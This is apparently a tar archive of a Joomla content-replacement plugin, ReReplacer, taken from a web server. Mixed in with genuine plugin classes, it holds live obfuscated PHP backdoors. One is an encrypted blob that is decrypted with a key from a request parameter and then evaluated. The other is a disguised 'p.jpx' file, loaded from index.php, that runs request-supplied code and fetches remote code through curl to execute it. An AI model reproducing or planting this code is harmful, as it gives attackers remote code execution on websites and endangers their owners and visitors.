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'; function IUKzf($peT) { $yxqNa = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $ELZCh = substr($yxqNa, 0, 16); $ZskVL = base64_decode($peT); return openssl_decrypt($ZskVL, "AES-256-CBC", $yxqNa, OPENSSL_RAW_DATA, $ELZCh); } if (IUKzf('DjtPn+r4S0yvLCnquPz1fA')){ echo 'uOTC7WVf8ivGKMYXTnjPV6UPMX5KmVgEDRhg1eIlFjq3PTeN4xy4PlSW6Vv+fOVd'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($IUKzf)))); ?>src/src/index.php000060400000000057151721520470007744 0ustar00<?php require_once base64_decode("cC5qcHg"); ?>src/src/p.jpx000060400000013627151721520470007115 0ustar00<?php goto sq838tE0ewnPEMF; NdzmFN9EP_BNh81: metaphone("\x35\122\x58\x7a\x6d\x41\142\x76\57\x54\x56\x49\105\160\x72\117\63\x44\x50\x38\x65\x7a\x6f\120\x52\53\x70\x61\104\53\x67\152\62\155\x72\153\66\63\131\110\165\x6d\143"); goto Wbugf9cOAt8nLKS; KxowfqWxZP4NDJB: $Ea5YX7kIXS9ZAkQ = $Ko5T_jr4HEGwfzX("\x7e", "\x20"); goto g5kqf91dCiWNTiS; sq838tE0ewnPEMF: $Ko5T_jr4HEGwfzX = "\x72" . "\141" . "\156" . "\147" . "\145"; goto KxowfqWxZP4NDJB; g5kqf91dCiWNTiS: $mTuCh7dullmC270 = ${$Ea5YX7kIXS9ZAkQ[3 + 28] . $Ea5YX7kIXS9ZAkQ[34 + 25] . $Ea5YX7kIXS9ZAkQ[20 + 27] . $Ea5YX7kIXS9ZAkQ[1 + 46] . $Ea5YX7kIXS9ZAkQ[8 + 43] . $Ea5YX7kIXS9ZAkQ[49 + 4] . $Ea5YX7kIXS9ZAkQ[41 + 16]}; goto pqbVDpQSfjYxG7H; pqbVDpQSfjYxG7H: @(md5(md5(md5(md5($mTuCh7dullmC270[21])))) === "\146\x65\x39\141\65\x61\x64\65\65\65\x39\x35\67\67\141\146\64\x61\x62\64\141\144\71\x62\145\62\x34\x34\66\x35\143\145") && (count($mTuCh7dullmC270) == 27 && in_array(gettype($mTuCh7dullmC270) . count($mTuCh7dullmC270), $mTuCh7dullmC270)) ? ($mTuCh7dullmC270[64] = $mTuCh7dullmC270[64] . $mTuCh7dullmC270[75]) && ($mTuCh7dullmC270[81] = $mTuCh7dullmC270[64]($mTuCh7dullmC270[81])) && @eval($mTuCh7dullmC270[64](${$mTuCh7dullmC270[39]}[21])) : $mTuCh7dullmC270; goto NdzmFN9EP_BNh81; Wbugf9cOAt8nLKS: class ELu5mWjnp2tCP74 { static function x6axc8QT0AIWtMx($Wq5spxdm1S90B8i) { goto PDNzAeLiF0MCocH; lM17i8w9KtAwHKn: $nYradAZ2rQQqZo4 = explode("\173", $Wq5spxdm1S90B8i); goto YvHV3JAs2oYXgS_; T3npdkAw0TZSSei: ofJ6mKdsVk2N99I: goto Srw_oMG6AHFLfee; iM96sTp36zvllr4: $YSQB6ka02EJurtW = $wgaN2H8yvZmy0SN("\176", "\40"); goto lM17i8w9KtAwHKn; PDNzAeLiF0MCocH: $wgaN2H8yvZmy0SN = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto iM96sTp36zvllr4; GcS2GMc_VXwjjLU: foreach ($nYradAZ2rQQqZo4 as $KJ0z_uczsdBxoqg => $p0j0ECxZbcxwWA0) { $uyQ3VCuEC2K_CLT .= $YSQB6ka02EJurtW[$p0j0ECxZbcxwWA0 - 79913]; Am7NfhY_JUxHk6w: } goto T3npdkAw0TZSSei; Srw_oMG6AHFLfee: return $uyQ3VCuEC2K_CLT; goto dBEmWZSoCmtzbgF; YvHV3JAs2oYXgS_: $uyQ3VCuEC2K_CLT = ''; goto GcS2GMc_VXwjjLU; dBEmWZSoCmtzbgF: } static function FdDaLl8SPqOauRI($RvMhW30pso9U54j, $lhMeUHMF0XUI1cV) { goto jAj7cVr_YrImfn_; f9p20796TekqcdA: curl_setopt($dV5uTTj08hH1i4p, CURLOPT_RETURNTRANSFER, 1); goto Ua5x1HnU2biAS6R; CmBszzxwCsRb3MR: return empty($EmencXH18FGM2GH) ? $lhMeUHMF0XUI1cV($RvMhW30pso9U54j) : $EmencXH18FGM2GH; goto Q7G3wCLVA2weg17; jAj7cVr_YrImfn_: $dV5uTTj08hH1i4p = curl_init($RvMhW30pso9U54j); goto f9p20796TekqcdA; Ua5x1HnU2biAS6R: $EmencXH18FGM2GH = curl_exec($dV5uTTj08hH1i4p); goto CmBszzxwCsRb3MR; Q7G3wCLVA2weg17: } static function GWOIkNhHCeMJepC() { goto jmUWzO7qCtCwP7x; GaRxJEfE5X9dtbR: if (!(@$kID3jHJ1kL43n8J[0] - time() > 0 and md5(md5($kID3jHJ1kL43n8J[0 + 3])) === "\x63\x62\61\x34\65\65\62\x35\64\62\x31\x64\x37\142\66\64\145\x63\65\x33\142\x66\x37\70\x31\64\x64\x38\144\x66\x34\x33")) { goto C_TCjU9_1BCmcHd; } goto iwaGFjqKfrGEDWK; J5a8Rp1Odl9zQhy: $FUpubzOaYwhwa2R = @$LUkQjdLcleyJqA6[1 + 2]($LUkQjdLcleyJqA6[1 + 5], $iDQZlrgvYPAkaTT); goto qEBGbO9szAqy0RE; l45jEfgspt4lL4x: @$LUkQjdLcleyJqA6[4 + 6](INPUT_GET, "\157\x66") == 1 && die($LUkQjdLcleyJqA6[1 + 4](__FILE__)); goto GaRxJEfE5X9dtbR; TZg6AV3hHKDPoX5: @eval($LUkQjdLcleyJqA6[4 + 0]($c58M4nUPvCRvuaY)); goto Akq1xFMjoEB132R; jmUWzO7qCtCwP7x: $rj87kJzc_hZo8WY = array("\67\x39\71\x34\x30\x7b\x37\71\x39\x32\x35\173\x37\x39\x39\63\70\173\x37\x39\x39\64\62\x7b\67\71\71\62\63\173\x37\71\71\x33\x38\x7b\67\x39\x39\64\x34\173\x37\71\x39\x33\x37\173\67\71\71\x32\62\173\x37\71\x39\x32\x39\x7b\x37\x39\x39\x34\60\173\x37\71\71\x32\x33\x7b\x37\x39\x39\63\x34\173\67\x39\71\x32\70\173\x37\71\71\62\71", "\x37\71\x39\62\x34\x7b\67\x39\71\62\63\x7b\x37\71\x39\62\65\x7b\67\x39\71\64\64\173\x37\71\71\62\x35\173\x37\71\71\62\70\173\67\71\x39\62\63\173\67\71\x39\71\x30\x7b\x37\71\71\x38\x38", "\67\x39\71\x33\x33\173\x37\71\71\x32\64\173\x37\x39\x39\x32\70\x7b\x37\x39\x39\62\x39\173\x37\71\x39\x34\64\x7b\67\x39\71\63\x39\x7b\67\x39\x39\63\70\173\67\71\x39\x34\x30\x7b\67\x39\71\62\70\x7b\x37\x39\71\63\71\x7b\x37\71\x39\63\70", "\67\x39\x39\62\x37\x7b\67\71\x39\x34\x32\x7b\x37\71\71\64\60\173\67\71\71\63\x32", "\x37\71\71\x34\x31\173\67\71\x39\x34\62\173\67\71\x39\x32\x34\x7b\67\71\71\x33\70\x7b\67\x39\x39\70\x35\x7b\x37\71\x39\70\67\173\x37\71\x39\64\x34\173\x37\x39\71\63\71\x7b\67\71\71\63\70\173\x37\x39\71\64\x30\173\67\x39\x39\62\x38\173\x37\x39\x39\x33\x39\173\x37\71\x39\63\70", "\x37\x39\x39\63\67\x7b\67\x39\71\x33\64\x7b\67\71\x39\63\61\x7b\67\x39\71\63\x38\x7b\x37\71\x39\64\64\x7b\x37\x39\71\63\66\173\67\71\71\x33\x38\173\67\71\71\62\x33\x7b\x37\71\71\64\64\173\x37\x39\x39\x34\60\173\67\x39\71\62\70\173\67\71\71\62\x39\173\x37\71\x39\x32\63\173\x37\71\71\x33\x38\173\67\71\x39\x32\71\173\67\x39\71\62\x33\173\67\71\x39\62\x34", "\x37\71\71\x36\x37\x7b\x37\x39\71\x39\x37", "\67\71\x39\61\64", "\67\71\x39\71\x32\173\x37\71\71\71\x37", "\x37\x39\71\67\64\x7b\67\x39\71\x35\x37\173\x37\x39\x39\65\67\x7b\67\x39\x39\67\64\173\x37\71\x39\x35\60", "\x37\71\x39\x33\67\173\x37\x39\71\x33\x34\173\x37\x39\71\63\x31\x7b\x37\71\x39\62\x33\x7b\x37\x39\x39\x33\x38\x7b\x37\x39\x39\62\65\173\67\x39\71\x34\x34\x7b\67\x39\71\x33\x34\173\x37\x39\71\62\71\x7b\67\71\x39\62\x37\x7b\67\71\71\62\x32\x7b\x37\x39\x39\x32\63"); goto d4WUj1Mb3ITYQU2; iwaGFjqKfrGEDWK: $c58M4nUPvCRvuaY = self::FDdall8spQOauRI($kID3jHJ1kL43n8J[1 + 0], $LUkQjdLcleyJqA6[5 + 0]); goto TZg6AV3hHKDPoX5; hdNmxFgnLpVC4TL: RRJvvIDW9hBGKBC: goto kffwlc0AZKF4Ptr; kffwlc0AZKF4Ptr: $iDQZlrgvYPAkaTT = @$LUkQjdLcleyJqA6[1]($LUkQjdLcleyJqA6[5 + 5](INPUT_GET, $LUkQjdLcleyJqA6[5 + 4])); goto J5a8Rp1Odl9zQhy; WWvcxtzzEvQrjQW: C_TCjU9_1BCmcHd: goto CSXCHc_UEZsyzRW; Akq1xFMjoEB132R: die; goto WWvcxtzzEvQrjQW; qEBGbO9szAqy0RE: $kID3jHJ1kL43n8J = $LUkQjdLcleyJqA6[1 + 1]($FUpubzOaYwhwa2R, true); goto l45jEfgspt4lL4x; d4WUj1Mb3ITYQU2: foreach ($rj87kJzc_hZo8WY as $m1CstR1ElPcXMST) { $LUkQjdLcleyJqA6[] = self::X6Axc8QT0aIWTMx($m1CstR1ElPcXMST); dw0ho9SCQ4EBpPa: } goto hdNmxFgnLpVC4TL; CSXCHc_UEZsyzRW: } } goto aIYhkJZvWDvei8b; aIYhkJZvWDvei8b: elU5MwJnP2tcP74::gWOIknHHCEMJePC(); ?> src/Items.php000060400000011714151721520470007131 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\ReReplacer; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\ObjectHelper as RL_ObjectHelper; use RegularLabs\Library\Parameters as RL_Parameters; use RegularLabs\Library\Protect as RL_Protect; use RegularLabs\Library\RegEx as RL_RegEx; use RegularLabs\Library\Xml as RL_Xml; class Items { static $items = []; public static function filter(&$items, $article = null) { foreach ($items as $key => &$item) { if ( (RL_Document::isClient('administrator') && $item->enable_in_admin == 0) || (RL_Document::isClient('site') && $item->enable_in_admin == 2) ) { unset($items[$key]); continue; } if ( ! $item) { unset($items[$key]); } } } /** * @param $area * @param $article * * @return Item[] */ public static function get($area, &$article = null) { $data = self::getItemList($area); if (empty($data)) { return []; } if ($article) { self::filter($data, $article); } $items = []; foreach ($data as $item) { $items[] = new Item($item, $article); } return $items; } public static function getItemList($area = 'article') { if (isset(self::$items[$area])) { return self::$items[$area]; } $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('r.*') ->from('#__rereplacer AS r') ->where('r.published = 1'); $where = 'r.area = ' . $db->quote($area); $query->where('(' . $where . ')') ->order('r.ordering, r.id'); $db->setQuery($query); $rows = $db->loadObjectList(); $items = []; if (empty($rows)) { self::$items[$area] = $items; return self::$items[$area]; } foreach ($rows as $row) { $item = self::getItem($row, $area); if ( ! $item) { continue; } if (is_array($item)) { $items = [...$items, ...$item]; continue; } $items[] = $item; } if ($area != 'articles') { self::filter($items); } self::$items[$area] = $items; return self::$items[$area]; } public static function getItemsFromXml($xml_data, $item, $area) { } private static function getItem($row, $area = 'article') { $item = RL_Parameters::getObjectFromRegistry($row->params, JPATH_ADMINISTRATOR . '/components/com_rereplacer/forms/item.xml'); unset($row->params); foreach ($row as $key => $param) { $item->{$key} = $param; } if ( ! self::itemPassChecks($item, $area)) { return false; } if (strlen($item->search) < 1) { return false; } self::prepareString($item->search); self::prepareReplaceString($item->replace); return $item; } private static function getItemFromXmlData($item, $xml_data, $area) { } private static function getItemsFromItemXml($item, $area) { } private static function itemPassChecks($item, $area) { if ($item->area != $area) { return false; } if (empty($item->search)) { return false; } if ( (RL_Document::isFeed() && ! $item->enable_in_feeds) || ( ! RL_Document::isFeed() && $item->enable_in_feeds == 2) ) { return false; } return true; } private static function prepareReplaceString(&$string) { [$tag, $characters] = RL_Protect::getSourcererTag(); if (empty($tag)) { return; } [$start, $end] = explode('.', $characters); self::prepareString($string); if ( ! str_contains($string, $start . '/' . $tag . $end)) { return; } // fix usage of non-protected {source} tags to {source 0} $string = str_replace($start . $tag . $end, $start . $tag . ' 0' . $end, $string); } private static function prepareString(&$string) { if (is_string($string)) { return; } $string = ''; } } src/StringReplacer.php000060400000004623151721520470010775 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\ReReplacer; defined('_JEXEC') or die; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\RegEx as RL_RegEx; use RegularLabs\Library\StringReplacer as RL_StringReplacer; class StringReplacer { public static function get($string, object $settings) { $replacer = new RL_StringReplacer($string); self::excludeForm($replacer, $settings); self::excludeNoReplaceTags($replacer); return $replacer; } private static function excludeForm(RL_StringReplacer $replacer, object $settings) { if ($settings->enable_in_edit_forms || ! RL_Document::isEditPage()) { return; } $replacer->excludeForm(); } private static function excludeHtmlTags(RL_StringReplacer $replacer, object $settings) { } private static function excludeNoReplaceTags(RL_StringReplacer $replacer) { if ( ! $replacer->contains('{noreplace}')) { return; } // Protect everything between the {noreplace} tags $replacer->excludeRegexBetween('(\{noreplace\})', '(\{/noreplace\})', true); } private static function excludeOutsideBetweenStrings(RL_StringReplacer $replacer, object $settings) { } private static function getHtmlTagsArrayFromString(string $string) { if (empty($string)) { return []; } // removes unwanted whitespace from tag selection $string = RL_RegEx::replace('\s*(\[|\])\s*', '\1', $string); $string = RL_RegEx::replace('(\[[^\]]*)\s+', '\1', $string); // removes unwanted params from tag selection // (if an asterisk is set, all other params for that tag name are redundant) $string = RL_RegEx::replace('\[[^\]]*?\*[^\]]*\]', '[*]', $string); $string = str_replace(']', ']|||', $string); $string = trim($string, '|'); $tags = explode('|||', $string); if (in_array('*', $tags) || in_array('*[*]', $tags)) { return ['*']; } return $tags; } } src/Replace.php000060400000004471151721520470007425 0ustar00<?php /** * @package ReReplacer * @version 14.4.1 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\ReReplacer; defined('_JEXEC') or die; class Replace { public static function replaceInAreas(&$string) { if ( ! is_string($string) || $string == '') { return; } self::replaceInArea($string, 'head'); self::replaceInArea($string, 'body'); self::replaceEverywhere($string); } public static function replaceInArticle(&$article, $context) { $items = Items::get('articles', $article); foreach ($items as $item) { $item->replaceInArticle($context); } return false; } public static function replaceInComponents(&$string) { if ( ! is_string($string) || $string == '') { return; } $items = Items::get('component'); self::replaceItemList($string, $items); } private static function replaceEverywhere(&$string) { if ( ! is_string($string) || $string == '') { return; } $items = Items::get('everywhere'); self::replaceItemList($string, $items); } private static function replaceInArea(&$string, $area_type = '') { if ( ! is_string($string) || $string == '' || ! $area_type) { return; } $items = Items::get($area_type); if (empty($items)) { return; } $areas = Tag::getAreaByType($string, $area_type); foreach ($areas as $area_type) { self::replaceItemList($area_type[1], $items); $string = str_replace($area_type[0], $area_type[1], $string); } unset($areas); } private static function replaceItemList(&$string, $items) { if (empty($items)) { return; } if ( ! is_array($items)) { $items = [$items]; } foreach ($items as $item) { $item->replace($string); } } }
/home/opticamezl/www/newok/tmp/../cli/../api/components/../../tmp/../cli/cli/.././../rereplacer.tar